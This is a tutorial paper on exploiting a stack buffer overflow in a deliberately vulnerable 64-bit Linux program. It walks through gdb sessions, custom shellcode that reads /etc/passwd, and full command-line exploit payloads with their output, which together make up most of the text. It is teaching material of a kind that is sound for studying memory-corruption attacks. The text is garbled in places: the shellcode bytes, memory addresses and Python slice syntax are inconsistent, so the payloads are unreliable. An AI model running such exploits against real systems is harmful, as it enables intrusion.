

64 Bits Linux Stack Based Buffer Overflow

The purpose of this paper is to learn the basics of 64 bits buffer overflow.

Author: Mr.Un1k0d3r RingZer0 Team

Summary

- 0x01 Difference between x86 & x86_64
- 0x02 Vulnerable code snippet
- 0x03 Trigger the overflow
- 0x04 Control RIP
- 0x05 Jump into the user controlled buffer
- 0x06 Executing shellcode
- 0x07 GDB vs Real
- 0x08 EOF

0x01 Difference between x86 & x86 64

The first major difference is the size of memory address. No surprise here :) So memory addresses are 64 bits long, but user space only uses the first 47 bits; keep this in mind because if you specified an address greater than 0x00007fffffffffff, you'll raise an exception. So that means that 0x4141414141414141 will raise exception, but the address 0x0000414141414141 is safe. I think this is the tricky part while you're fuzzing or developing your exploit.

In fact there are tons of others differences, but for the purpose of this paper, it's not important to know all of them.

0x02 Vulnerable code snippet

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    char buffer[256];
    if(argc != 2) {
        exit(0);
    }
    printf("%p\n", buffer);
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    return 0;
}
```

I decide to print the buffer pointer address to save time through the exploit development.

You can compile this code using gcc.

```
$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector
```

You are now all set to exploit this executable.

0x03 Trigger the overflow

First we're going to confirm that we're able to crash this process.

```
$ ./bof $(python -c 'print "A" * 300')
0x7fffffffcdcd0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
```

So let's confirm that we control RIP (instruction Pointer)

```
$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) disassemble main
0x40060d <main>      push  rbp
0x40060e <main+1>      mov   rbp, rsp
0x400611 <main+4>      sub   rsp, 0x110
0x400618 <main+11>     mov   DWORD PTR [rbp-0x104], edi
0x40061e <main+17>     mov   QWORD PTR [rbp-0x110], rsi
0x400625 <main+24>     cmp   DWORD PTR [rbp-0x104], 0x2
0x40062c <main+31>     je    0x400638 <main+43>
0x40062e <main+33>     mov   edi, 0x0
0x400633 <main+38>     call 0x400510 <exit@plt>
0x400638 <main+43>     lea  rax, [rbp-0x100]
0x40063f <main+50>     mov   rsi, rax
0x400642 <main+53>     mov   edi, 0x400714
0x400647 <main+58>     mov   eax, 0x0
0x40064c <main+63>     call 0x4004e0 <printf@plt>
0x400651 <main+68>     mov   rax, QWORD PTR [rbp-0x110]
0x400658 <main+75>     add  rax, 0x8
0x40065c <main+79>     mov   rdx, QWORD PTR [rax]
0x40065f <main+82>     lea  rax, [rbp-0x100]
0x400666 <main+89>     mov   rsi, rdx
0x400669 <main+92>     mov   rdi, rax
0x40066c <main+95>     call 0x4004c0 <strcpy@plt> vulnerable call
0x400671 <main+100>    lea  rax, [rbp-0x100]
0x400678 <main+107>    mov   rdi, rax
0x40067b <main+110>    call 0x4004d0 <puts@plt>
0x400680 <main+115>    mov   eax, 0x0
0x400685 <main+120>    leave
0x400686 <main+121>    ret
(gdb) run $(python -c 'print "A" * 300')
```

You can go through the application flow using `stepi` to execute line by line.

After you pass the strcpy call (0x40066c), you'll notice that this time the buffer pointer points to 0x7fffffffdc90 instead of 0x7fffffffddc0, this is caused by gdb environment variables and other stuff. But for now, we don't care will fix this later.

Important note*

For the rest of the paper, when I'm referring to the *Leave* instruction, it's the one at the address 0x400685 above.

Finally here's the stack after the strcpy:

```
(gdb) x/20xg $rsp
0x7fffffffdc80: 0x00007fffffffde78      0x00000002f7ffe520
0x7fffffffdc90: 0x4141414141414141      0x4141414141414141
0x7fffffffdda0: 0x4141414141414141      0x4141414141414141
0x7fffffffddb0: 0x4141414141414141      0x4141414141414141
0x7fffffffddc0: 0x4141414141414141      0x4141414141414141
0x7fffffffddcd0: 0x4141414141414141      0x4141414141414141
0x7fffffffddce0: 0x4141414141414141      0x4141414141414141
0x7fffffffddcf0: 0x4141414141414141      0x4141414141414141
0x7fffffffdd00: 0x4141414141414141      0x4141414141414141
0x7fffffffdd10: 0x4141414141414141      0x4141414141414141
```

Then the *Leave* instruction of the main function will make *rsp* point to 0x7fffffffdd98.

The stack now looks like:

```
(gdb) x/20xg $rsp
0x7fffffffdd98: 0x4141414141414141      0x4141414141414141
0x7fffffffdda8: 0x4141414141414141      0x4141414141414141
0x7fffffffddb8: 0x0000000041414141      0x0000000000000000
0x7fffffffddc8: 0xa1c4af9213d095db      0x000000000400520
0x7fffffffddd8: 0x00007fffffffde70      0x0000000000000000
0x7fffffffdde8: 0x0000000000000000      0x5e3b506da89095db
0x7fffffffddf8: 0x5e3b40d4af2a95db      0x0000000000000000
0x7fffffffde08: 0x0000000000000000      0x0000000000000000
0x7fffffffde18: 0x000000000400690      0x00007fffffffde78
0x7fffffffde28: 0x0000000000000002      0x0000000000000000
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
```

Nice, we have the SIGSEGV time to check current register values.

```
(gdb) i r
rax          0x0      0
rbx          0x0      0
rcx          0xffffffffffffffff -1
```

```

rdx      0x7ffff7dd59e0  140737351866848
rsi      0x7ffff7ff7000  140737354100736
rdi      0x1          1
rbp      0x4141414141414141  0x4141414141414141
rsp    0x7fffffffdd98  0x7fffffffdd98
r8       0x4141414141414141  4702111234474983745
r9       0x4141414141414141  4702111234474983745
r10      0x4141414141414141  4702111234474983745
r11      0x246         582
r12      0x400520     4195616
r13      0x7fffffffde70  140737488346736
r14      0x0          0
r15      0x0          0
rip      0x400686     0x400686 <main+121>
eflags   0x10246     [ PF ZF IF RF ]
cs       0x33         51
ss       0x2b         43
ds       0x0          0
es       0x0          0
fs       0x0          0
gs       0x0          0

```

(gdb) stepi

Program terminated with signal SIGSEGV, Segmentation fault.

The program no longer exists.

So the program ends and we're not able to control *RIP* :(Why? Because we override too much bits, remember biggest address is `0x00007fffffffffff` and we try to overflow using `0x4141414141414141`.

0x04 Control RIP

We have found a little problem but for every problem, there's a solution! We can overflow using a smaller buffer so the address pointed by *rsp* will look like something like `0x0000414141414141`.

It's easy to calculate the size of our buffer with simple mathematics. We know that the buffer starts at `0x7fffffffddc90`. After the *leave* instruction, *rsp* will point to `0x7fffffffdd98`.

```
0x7fffffffdd98 - 0x7fffffffddc90 = 0x108 -> 264 in decimal
```

By knowing this, we can change the overflow payload to this:

```
"A" * 264 + "B" * 6
```

The address pointed by `rsp` should normally look like `0x0000424242424242`. That way will be able to control RIP.

```
$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) run $(python -c 'print "A" * 264 + "B" * 6')
```

This time we are going to directly check what's going on after the `leave` instruction has been called.

Here's the stack after the `leave` instruction has been executed:

```
(gdb) x/20xg $rsp
0x7fffffffddb8: 0x0000424242424242      0x0000000000000000
0x7fffffffddc8: 0x00007fffffffde98      0x0000000200000000
0x7fffffffddd8: 0x00000000000040060d      0x0000000000000000
0x7fffffffdde8: 0x2a283aca5f708a47      0x000000000000400520
0x7fffffffddf8: 0x00007fffffffde90      0x0000000000000000
0x7fffffffde08: 0x0000000000000000      0xd5d7c535e4f08a47
0x7fffffffde18: 0xd5d7d58ce38a8a47      0x0000000000000000
0x7fffffffde28: 0x0000000000000000      0x0000000000000000
0x7fffffffde38: 0x000000000000400690      0x00007fffffffde98
0x7fffffffde48: 0x0000000000000002      0x0000000000000000
```

Here are the register values after the `leave` instruction has been executed:

```
(gdb) i r
rax      0x0      0
rbx      0x0      0
rcx      0xffffffffffffffff      -1
rdx      0x7ffff7dd59e0      140737351866848
rsi      0x7ffff7ff7000      140737354100736
rdi      0x1      1
rbp      0x4141414141414141      0x4141414141414141
rsp      0x7fffffffddb8      0x7fffffffddb8
r8       0x4141414141414141      4702111234474983745
r9       0x4141414141414141      4702111234474983745
r10      0x4141414141414141      4702111234474983745
r11      0x246      r12      0x400520 4195616
r13      0x7fffffffde90      140737488346768
r14      0x0      0
r15      0x0      0
rip      0x400686 0x400686 <main+121>
```

| | | |
|--------|-------|--------------|
| eflags | 0x246 | [PF ZF IF] |
| cs | 0x33 | 51 |
| ss | 0x2b | 43 |
| ds | 0x0 | 0 |
| es | 0x0 | 0 |
| fs | 0x0 | 0 |
| gs | 0x0 | 0 |

rsp points to 0x7fffffffddb8 and the content of 0x7fffffffddb8 is 0x0000424242424242. Everything seems good, time to execute the *ret* instruction.

```
(gdb) stepi
Cannot access memory at address 0x424242424242
Cannot access memory at address 0x424242424242
(gdb) i r
rax          0x0          0
rbx          0x0          0
rcx          0xffffffffffffffff  -1
rdx          0x7ffff7dd59e0  140737351866848
rsi          0x7ffff7ff7000  140737354100736
rdi          0x1          1
rbp          0x4141414141414141  0x4141414141414141
rsp          0x7fffffffddc0  0x7fffffffddc0
r8           0x4141414141414141  4702111234474983745
r9           0x4141414141414141  4702111234474983745
r10          0x4141414141414141  4702111234474983745
r11          0x246        582
r12          0x400520 4195616
r13          0x7fffffffde90  140737488346768
r14          0x0          0
r15          0x0          0
rip        0x4242424242424242  0x4242424242424242
eflags      0x246        [ PF ZF IF ]
cs          0x33        51
ss          0x2b        43
ds          0x0          0
es          0x0          0
fs          0x0          0
gs          0x0          0
```

We finally control rip!

0x05 Jump into the user controlled buffer

In fact, this part has nothing really special or new, you just have to point to the beginning of your user controlled buffer. This is the

value that the first printf shows. In this case 0x7fffffffdc90 it's also easy to retrieve this value using gdb. You just have to display the stack after the strcpy call.

```
(gdb) x/4xg $rsp
0x7fffffffdc80: 0x00007fffffffde98      0x00000002f7ffe520
0x7fffffffdc90: 0x4141414141414141      0x4141414141414141
```

It's time to update our payload. The new payload is going to look like this:

```
"A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[:-1]
```

We need to reverse the memory address because it's a little endian architecture. That's exactly what [::-1] does in python.

Let's confirm that we jump to the right address.

```
$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) run $(python -c 'print "A" * 264 +
"\x7f\xff\xff\xff\xdc\x90"[:-1]')
(gdb) x/20xg $rsp
0x7fffffffddb8: 0x00007fffffffdc90      0x0000000000000000
0x7fffffffddc8: 0x00007fffffffde98      0x0000000200000000
0x7fffffffddd8: 0x00000000000040060d     0x0000000000000000
0x7fffffffdde8: 0xe72f39cd325155ac      0x000000000000400520
0x7fffffffddf8: 0x00007fffffffde90      0x0000000000000000
0x7fffffffde08: 0x0000000000000000      0x18d0c63289d155ac
0x7fffffffde18: 0x18d0d68b8eab55ac      0x0000000000000000
0x7fffffffde28: 0x0000000000000000      0x0000000000000000
0x7fffffffde38: 0x000000000000400690     0x00007fffffffde98
0x7fffffffde48: 0x0000000000000002      0x0000000000000000
```

This is the stack after the *leave* instruction has been executed. As we already know, *rsp* points to 0x7fffffffddb8. The content of 0x7fffffffddb8 is 0x00007fffffffdc90. Finally, 0x00007fffffffdc90 points to our user controlled buffer.

```
(gdb) stepi
```

After the *ret* instruction has been executed, *rip* points to 0x7fffffffdc90, this means that we jump to the right place.

0x06 Executing shellcode

For this example I'm going to use a custom shellcode that read the content of /etc/passwd.

```
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes

global _start

section .text

_start:
    jmp _push_filename

_readfile:
    ; syscall open file
    pop rdi      ; pop path value
    ; NULL byte fix
    xor byte [rdi + 11], 0x41

    xor rax, rax
    add al, 2
    xor rsi, rsi      ; set O_RDONLY flag
    syscall

    ; syscall read file
    sub sp, 0xfff
    lea rsi, [rsp]
    mov rdi, rax
    xor rdx, rdx
    mov dx, 0xfff     ; size to read
    xor rax, rax
    syscall

    ; syscall write to stdout
    xor rdi, rdi
    add dil, 1        ; set stdout fd = 1
    mov rdx, rax
    xor rax, rax
    add al, 1
    syscall

    ; syscall exit
    xor rax, rax
    add al, 60
    syscall
```

```
_push_filename:
    call _readfile
    path: db "/etc/passwdA"
```

Now it's time to assemble this file and extract the shellcode.

```
$ nasm -f elf64 readfile.asm -o readfile.o
$ for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n
'\x'$i; done; echo
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\xf0\x05\x6
6\x81\xec\xff\xf0\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x
0f\x48\x31\xc0\xf0\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\
xc0\x04\x01\xf0\x05\x48\x31\xc0\x04\x3c\xf0\x05\xe8\xbc\xff\xff\xff\x2f
\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
```

This shellcode is 82 bytes long. Let's build the final payload.

Original payload

```
$(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')
```

We need to keep the proper size, so $264 - 82 = 182$

```
$(python -c 'print "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')
```

Then we append the shellcode at the beginning

```
$(python -c 'print
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\xf0\x05\x
66\x81\xec\xff\xf0\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\xf0\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\
\xc0\x04\x01\xf0\x05\x48\x31\xc0\x04\x3c\xf0\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
```

It's time to test all of that together.

```
$ gdb -tui bof
(gdb) run $(python -c 'print
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
```

Then if everything goes well, the content of the /etc/passwd will appear on your screen. Please note that memory address can change and will probably not be the same that I have.

0x07 GDB vs Real

Because gdb will initialize a couple of variables and other stuff, if you try to run the same exploit outside of gdb, it will fail. But in this example, I add a call to printf to print the buffer pointer. So we can easily find the right value and obtain the address in a real context.

Here's the real version using the value that we found in gdb

```
$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
0x7fffffffdcf0
?_?w
AH1?H1f??H?4$H?H1?f??H1H1?@??H??H1??H1?<????
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA?????□
Illegal instruction (core dumped)
```

As you can clearly see, the exploit is not working. But the address has changed from 0x7fffffffdc90 to 0x7fffffffdcf0. Thanks for the little printf output. We just need to adjust the payload with the right value.

```
$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\xf0\x05\x66\x81\xec\xff\xf0\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\xf0\x48\x31\xc0\xf0\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\xf0
\x05\x48\x31\xc0\x04\x3c\xf0\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\xf0"[:-1]')
0x7fffffffdcf0
?_w

AH1H1fHH4$HfH1H1@HHH1H1<
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAHHHHH□
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

BOOM exploit is fully functional with the right value.

0x08 EOF

Hope you enjoy this paper about x86_64 buffer overflow on Linux; there's a lots of paper about x86 overflow, but 64 bits overflow are less common. I wish you tons of shell!

Thanks for reading
Sincerely,
Mr.Un1k0d3r

Lord forgive, I don't

EOF